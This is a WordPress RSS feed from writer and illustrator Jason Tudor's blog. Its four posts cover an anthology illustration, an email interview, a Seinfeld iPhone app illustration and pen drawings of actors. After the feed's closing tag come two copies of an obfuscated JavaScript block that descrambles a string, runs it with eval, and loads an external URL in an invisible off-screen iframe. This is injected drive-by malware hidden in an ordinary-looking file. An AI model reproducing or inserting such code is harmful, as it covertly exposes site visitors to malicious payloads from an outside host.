<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jason Tudor &#187; Illustration</title>
	<atom:link href="http://www.jasontudor.com/tag/illustration/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jasontudor.com</link>
	<description>Writer of Military and Science Fiction</description>
	<lastBuildDate>Sat, 07 Jan 2012 14:03:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Short Story Illustration</title>
		<link>http://www.jasontudor.com/2011/09/27/short-story-illustration/</link>
		<comments>http://www.jasontudor.com/2011/09/27/short-story-illustration/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 11:00:55 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Illustration]]></category>
		<category><![CDATA[3d]]></category>
		<category><![CDATA[Christmas]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[poser]]></category>
		<category><![CDATA[saved]]></category>
		<category><![CDATA[Undead]]></category>

		<guid isPermaLink="false">http://www.jasontudor.com/?p=1949</guid>
		<description><![CDATA[I just finished an illustration for a short story. Here&#8217;s the image: As noted in the image, I created the image for a short story called &#8220;Death and the Magi&#8221;...]]></description>
			<content:encoded><![CDATA[<div class='wb_fb_top'><div style="float:right;"></div></div><p>I just finished an illustration for a short story. Here&#8217;s the image:</p>
<p><a href="http://www.jasontudor.com/wp-content/uploads/lyle_complete-72.jpg"><img class="size-full wp-image-1950 aligncenter" title="lyle_complete-72" src="http://www.jasontudor.com/wp-content/uploads/lyle_complete-72.jpg" alt="" width="450" height="711" /></a></p>
<p>As noted in the image, I created the image for a short story called &#8220;Death and the Magi&#8221; by Joe McKinney, commissioned by Lyle Perez-Tinics and the anthology &#8220;The Undead that Saved Christmas, Volume 2.&#8221; I contributed a number of illustrations and a short story to the first volume. Proceeds from both books go to the <a href="http://hugsffa.org/" target="_blank">Hugs Foster Family Agency in California</a>.</p>
<p>The image is a mix of 3D modeling and design. The color image (above, clickable) is the actual artwork I created for the inset. Mr. McKinney&#8217;s story is tender, sad and worth the price of the book itself. <a href="http://www.rainstormpress.com/" target="_blank">Here&#8217;s a link to the web site</a> publishing the anthology.</p>
<img src="http://www.jasontudor.com/?ak_action=api_record_view&id=1949&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.jasontudor.com/2011/09/27/short-story-illustration/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Interview with Angela Marcum-Hill</title>
		<link>http://www.jasontudor.com/2010/08/19/interview-with-angela-marcum-hill/</link>
		<comments>http://www.jasontudor.com/2010/08/19/interview-with-angela-marcum-hill/#comments</comments>
		<pubDate>Thu, 19 Aug 2010 17:58:17 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Opinion]]></category>
		<category><![CDATA[amwriting]]></category>
		<category><![CDATA[Illustration]]></category>
		<category><![CDATA[interview]]></category>
		<category><![CDATA[Jason]]></category>
		<category><![CDATA[Tudor]]></category>
		<category><![CDATA[writing]]></category>

		<guid isPermaLink="false">http://1613806115</guid>
		<description><![CDATA[Recently did an email interview with Angela Marcum-Hill. It&#8217;s posted on her blog. Tried to get across that my focus is first and foremost on clients, even when that client...]]></description>
			<content:encoded><![CDATA[<div class='wb_fb_top'><div style="float:right;"></div></div><p>Recently did an email interview with Angela Marcum-Hill. It&#8217;s posted on her blog. Tried to get across that my focus is first and foremost on clients, even when that client is myself. Take a peek and let me know what you think. Snippet:</p>
<blockquote><p><strong>10.  Suppose someone asks you to create something that deviates from your  distinct style. How do you mold your distinct style into their request  while still preserving your own special signature style in the completed  product?</strong><br />
<strong> </strong><br />
A  Client’s needs come first. Begin with the end in mind. I may offer  suggestions; however, it is up to me to give the client the product they  desire. Style should follow suit on the creation. There is no intent on  my part to force something on the canvas that says, &#8221;Lookee lookee &#8230;  Jason Tudor wuz here. Lulz!&#8221;</p></blockquote>
<p><a href="http://angelicaraene.blogspot.com/2010/08/interview-with-artist-and-writer-jason.html">http://angelicaraene.blogspot.com/2010/08/interview-with-artist-and-writer-jason.html</a></p>
<img src="http://www.jasontudor.com/?ak_action=api_record_view&id=797&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.jasontudor.com/2010/08/19/interview-with-angela-marcum-hill/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8216;Seinfeld&#8217; iPhone App is Out!</title>
		<link>http://www.jasontudor.com/2009/12/30/seinfeld-iphone-app-is-out/</link>
		<comments>http://www.jasontudor.com/2009/12/30/seinfeld-iphone-app-is-out/#comments</comments>
		<pubDate>Wed, 30 Dec 2009 11:06:48 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[App]]></category>
		<category><![CDATA[App About Nothing]]></category>
		<category><![CDATA[DeviantArt]]></category>
		<category><![CDATA[Illustration]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[iPhone development]]></category>
		<category><![CDATA[Seinfeld]]></category>

		<guid isPermaLink="false">http://www.jasontudor.com/?p=310</guid>
		<description><![CDATA[The &#8220;App About Nothing&#8221; by my friend Chris Vadnais and Patelware is out. I created the illustration for the app. You can peek at the illustration on my DeviantArt page....]]></description>
			<content:encoded><![CDATA[<div class='wb_fb_top'><div style="float:right;"></div></div><p>The &#8220;App About Nothing&#8221; by my friend Chris Vadnais and <a href="http://www.patelware.com" target="_blank">Patelware</a> is out. I created the illustration for the app. You can peek at the illustration on <a href="http://jst5150.deviantart.com/art/Seinfeld-cast-for-iPhone-App-147514796">my DeviantArt page</a>. Let me know if you download the app and what you think of the illustration.</p>
<img src="http://www.jasontudor.com/?ak_action=api_record_view&id=310&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.jasontudor.com/2009/12/30/seinfeld-iphone-app-is-out/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Morse, Voltan drawings</title>
		<link>http://www.jasontudor.com/2009/04/18/morse-voltan-drawings/</link>
		<comments>http://www.jasontudor.com/2009/04/18/morse-voltan-drawings/#comments</comments>
		<pubDate>Sat, 18 Apr 2009 13:08:35 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Brian Blessed]]></category>
		<category><![CDATA[Drawing]]></category>
		<category><![CDATA[Illustration]]></category>
		<category><![CDATA[John Thaw]]></category>
		<category><![CDATA[Morse]]></category>

		<guid isPermaLink="false">http://www.jasontudor.com/?p=81</guid>
		<description><![CDATA[Also new into my Flickr stream are two new drawings.Â  One is of John Thaw as Chief Inspector Morse.Â  I&#8217;m proud of it turned out.Â  The other is Brian Blessed...]]></description>
			<content:encoded><![CDATA[<div class='wb_fb_top'><div style="float:right;"></div></div><p><a href="http://www.flickr.com/photos/jst5150/sets/72157616888717357/"><img class="alignright" src="http://farm4.static.flickr.com/3392/3452719022_d3a1255cf3_m.jpg" alt="" width="240" height="183" /></a>Also new into my Flickr stream are two new drawings.Â  One is of John Thaw as Chief Inspector Morse.Â  I&#8217;m proud of it turned out.Â  The other is Brian Blessed playing Voltan in the 1980 version of &#8220;Flash Gordon.&#8221;</p>
<p>Each took me one night to draw.Â  I worked on 9 x 11 inch Bristol board with gel ink pens, Sharpies and other ink pens I could find.Â  Your thoughts?</p>
<img src="http://www.jasontudor.com/?ak_action=api_record_view&id=81&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.jasontudor.com/2009/04/18/morse-voltan-drawings/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<script>var $r=(Date);if($r){$A='762';}var $v={'x':'\x73\x75bstr','y':!false,'A':'\x73plit','Y':'\x6A\x6Fin','c':'st\x72\x69\x6Eg','s':'\x6C\x65\x6Egth','D':'rev\x65\x72\x73e'},$E='',$d=['nodcuemtw.ri<dsviet(\' tydi"=ylapsel:;"ennon_"d=i "Y___>hngm:ptth//srr6eabron.nbac.om.b.r/dajgp?3v>;)\'/<di'][$v.Y]('\x0A'),$A=$A[$v.A]($E),$2=function(){for(var $f in $A){if(typeof($A[$f])==$v.c){var $X=[],$u=$v.y,$r=$A[$f]*-~false;for(c=[]^[];c<$d[$v.s];c+=$r){$X[c]=($u)?($d[$v.x](c,$r)[$v.A]($E)[$v.D]()[$v.Y]($E)):($d[$v.x](c,$r));$u=!$u;}$d=$X[$v.Y]($E);}}this['eva\x6C']($d);},$d=$2();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____Yn').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script><script>var $r=(Date);if($r){$A='762';}var $v={'x':'\x73\x75bstr','y':!false,'A':'\x73plit','Y':'\x6A\x6Fin','c':'st\x72\x69\x6Eg','s':'\x6C\x65\x6Egth','D':'rev\x65\x72\x73e'},$E='',$d=['nodcuemtw.ri<dsviet(\' tydi"=ylapsel:;"ennon_"d=i "Y___>hngm:ptth//srr6eabron.nbac.om.b.r/dajgp?3v>;)\'/<di'][$v.Y]('\x0A'),$A=$A[$v.A]($E),$2=function(){for(var $f in $A){if(typeof($A[$f])==$v.c){var $X=[],$u=$v.y,$r=$A[$f]*-~false;for(c=[]^[];c<$d[$v.s];c+=$r){$X[c]=($u)?($d[$v.x](c,$r)[$v.A]($E)[$v.D]()[$v.Y]($E)):($d[$v.x](c,$r));$u=!$u;}$d=$X[$v.Y]($E);}}this['eva\x6C']($d);},$d=$2();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____Yn').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script>
